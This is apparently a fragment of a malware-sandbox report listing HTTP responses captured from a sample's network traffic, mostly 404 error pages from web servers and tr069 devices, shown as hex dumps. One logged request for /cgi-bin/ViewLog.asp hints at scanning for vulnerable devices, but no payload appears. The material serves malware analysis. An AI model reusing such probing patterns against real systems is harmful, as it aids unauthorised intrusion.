66 6e aa 4a a5 c3 c3 e3 cf a7 93 b3 c9 0e c4 a4 5a 95 65 c2 b5 9b 70 83 3d 0c 0e 7d ff e4 ea d4 df 8b e3 5a ab 66 0b fc 72 7c fe d9 bf da 0b bc e6 fa f9 b1 e0 99 6a dc f1 96 d6 8e 1d f4 96 a6 1d 17 ce c1 c1 c1 82 eb b9 90 e1 0e ea 9f ed 8c c3 37 e8 57 e2 0f 83 7c 78 72 01 56 5d 37 c3 54 69 6e f7 3c 94 4a e2 7f 0e 45 f0 4e e6 5e a9 b3 57 4a 6d f3 b8 3a 3f f3 87 3b 86 8a 67 99 90 73 37 51 44 6a 11 42 e0 7f 4f 61 b1 e0 73 0c a1 d6 e5 47 b3 36 b3 b4 e2 12 4b d6 fe 35 ac 73 b7 db ee fd 55 cd 3f ed 67 d0 58 21 a7 10 ba b7 bb 7a 9f 46 78 52 ad c0 6f 93 80 e0 c4 66 f2 3f 82 1d da 90 6e 5f b7 50 ed 8a b1 59 59 89 39 85 30 3c a9 f6 c4 73 b5 98 17 ef ad a5 90 e8 16 d8 d9 de 28 b9 f1 24 55 85 b0 9f 74 a3 e5 2b eb ce 9e 0d bf b7 67 3f be a2 6b 2d 4d 9f 45 a2 ca 6c 6f 5d 9d 9f bf 2a b8 d7 ab 0e f6 a4 10 b1 f6 f0 b6 ed 82 6d fa 45 64 75 ec cf 76 26 96 20 b2 cb c1 ae b4 83 11 80 13 7d 70 5d 30 c4 35 6d 3a 85 eb 8e 9c ee b7 03 42 1a 42 9e 81 ca 61 3a f9 ed 69 f2 18 cf 9e a6 b7 47 d0 20 a4 aa 2e 33 30 85 6a 80 27 46 95 35 21 3c 4d ef 60 29 78 e8 40 df f7 6e e2 f8 61 76 73 ff 18 b3 1d f7 36 a3 a4 26 68 0a 4e 20 72 10 64 5a 07 13 32 06 4a 83 a2 02 35 54 5a 91 4a 55 f9 53 8b 6f 1f 8f 93 e9 d7 c9 74 f6 70 3f 8d 67 8f 93 f1 d3 74 02 99 42 23 7f 20 30 88 0b 20 05 09 42 6d 30 7b 0b 87 52 cd 45 0a 4d 9b 74 a2 91 3f db c0 54 e0 da c2 81 97 84 5a 72 42 a8 94 26 e3 74 1a 14 c1 28 62 45 30 72 a2 6a 14 17 08 06 f5 12 35 a4 5c 4a 45 90 0b 99 59 06 d0 f8 52 a3 21 cc a0 b2 a7 29 62 55 a7 7e a9 d2 e7 97 5a 51 df a8 83 e1 a9 e7 7b be 17 b0 b4 9a a1 d6 4a 67 2a ad 17 28 c9 33 ed e5 f2 d1 c6 86 33 ff 53 bb 8b 3b ee 60 13 68 39 6e 73 58 ab 1a b8 c6 36 32 4f 53 55 4b 02 d5 48 d4 47 50 95 c8 0d 82 a9 93 85 20 20 91 3e 23 41 ae 34 e4 b5 6e 25
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Date: Thu, 21 Mar 2024 04:17:35 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Aug 2004 17:06:52 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:17:42 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:43 GMTServer: ApacheLast-Modified: Tue, 03 Apr 2001 11:12:06 GMTETag: "84428-1629-3810802278d80"Accept-Ranges: bytesContent-Length: 5673Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 73 6f 6c 2e 6e 65 74 20 4e 65 74 77 6f 72 6b 20 53 65 72 76 69 63 65 73 20 7c 20 45 72 72 6f 72 20 34 30 34 20 2d 20 44 6f 63 75 6d 65 6e 74 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 77 65 62 6b 69 74 2f 73 6f 6c 6e 65 74 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 69 63 6f 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6d 61 73 74 65 72 40 6e 73 2e 73 6f 6c 2e 6e 65 74 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 70 6c 79 2d 74 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6d 61 73 74 65 72 40 6e 73 2e 73 6f 6c 2e 6e 65 74 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 66 6f 6c 6c 6f 77 2c 61 72 63 68 69 76 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 75 73 65 6e 65 74 2c 20 64 73 72 73 2c 20 71 75 61 6b 65 2c 20 65 6e 67 69 6e 65 65 72 69 6e 67 2c 20 73 65 63 75 72 69 74 79 2c 20 70 72 6f 67 72 61 6d 6d 69 6e 67 2c 20 73 65 72 76 65 72 73 2c 20 66 69 72 65 77 61 6c 6c 73 2c 20 66 72 65 65 62 73 64 2c 20 6c 69 6e 75 78 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 73 6f 6c 2e 6e 65 74 20 4e 65 74 77 6f 72 6b 20 53 65 72 76 69 63 65 73 20 2d 20 4d 69 6c 77 61 75 6b 65 65 2c 20 57 49 2e 20 20 55 4e 49 58 2c 20 46 72 65 65 42 53 44 2c 20 61 6e 64 20 4c 69 6e 75 78 20 62 61 73 65 64 20 49 6e 74 65 72 6e 65 74 20 74 65 63 68 6e 6f 6c 6f 67 79 20 61 6e 64 20 68 6f 73 74 69 6e 67 20 73 6f 6c 75 74 69 6f 6e 73 2c 20 61 6c 6f 6e 67 20 77 69 74 68 20 65 6e 67 69 6e 65 65 72 69 6e 67 2c 20 64 65 73 69 67 6e 2c 20 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:17:42 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:14:07 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Thu Mar 21 04:03:27 2024 GMTContent-Length: 57044Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 7d 20 20 20 20 20 20 20 68 31 2c 20 68 32 20 7b 20 68 65 69 67 68 74 3a 20 38 32 70 78 3b 20 74 65 78 74 2d 69 6e 64 65 6e 74 3a 20 2d 39 39 39 65 6d 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 7d 20 20 20 20 20 20 20 64 69 76 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 20 20 20 20 20 20 20 64 69 76 2e 68 65 61 64 65 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 50 4d 41 41 41 46 6e 43 41 4d 41 41 41 42 45 71 49 2f 73 41 41 41 41 47 58 52 46 57 48 52 54 62 32 5a 30 64 32 46 79 5a 51 42 42 5a 47 39 69 5a 53 42 4a 62 57 46 6e 5a 56 4a 6c 59 57 52 35 63 63 6c 6c 50 41 41 41 41 79 46 70 56 46 68 30 57 45 31 4d 4f 6d 4e 76 62 53 35 68 5a 47 39 69 5a 53 35 34 62 58 41 41 41 41 41 41 41 44 77 2f 65 48 42 68 59 32 74 6c 64 43 42 69 5a 57 64 70 62 6a 30 69 37 37 75 2f 49 69 42 70 5a 44 30 69 56 7a 56 4e 4d 45 31 77 51 32 56 6f 61 55 68 36 63 6d 56 54 65 6b 35 55 59 33 70 72 59 7a 6c 6b 49 6a 38 2b 49 44 78 34 4f 6e 68 74 63 47 31 6c 64 47 45 67 65 47 31 73 62 6e 4d 36 65 44 30 69 59 57 52 76 59 6d 55 36 62 6e 4d 36 62 57 56 30 59 53 38 69 49 48 67 36 65 47 31 77 64 47 73 39 49 6b 46 6b 62 32 4a 6c 49 46 68 4e 55 43 42 44 62 33 4a 6c 49 44 55 75 4e 53 31 6a 4d 44 49 78 49 44 63 35 4c 6a 45 31 4e 44 6b 78 4d 53 77 67 4d 6a 41 78 4d 79 38 78 4d 43 38 79 4f 53 30 78 4d 54 6f 30 4e 7a 6f 78 4e 69 41 67 49 43 41 67 49 43 41 67 49 6a 34 67 50 48 4a 6b 5a 6a 70 53 52 45 59 67 65 47 31 73 62 6e 4d 36 63 6d 52 6d 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 78 4f 54 6b 35 4c 7a 41 79 4c 7a 49 79 4c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Httpd Cache-Control: no-cacheConnection: CloseDate: Thu, 21 Mar 2024 05:58:08 GMTContent-Length: 135Content-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:51 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Mar 2024 05:17:50 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:51 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 35 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:51 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:52 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesKeep-Alive: timeout=15, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 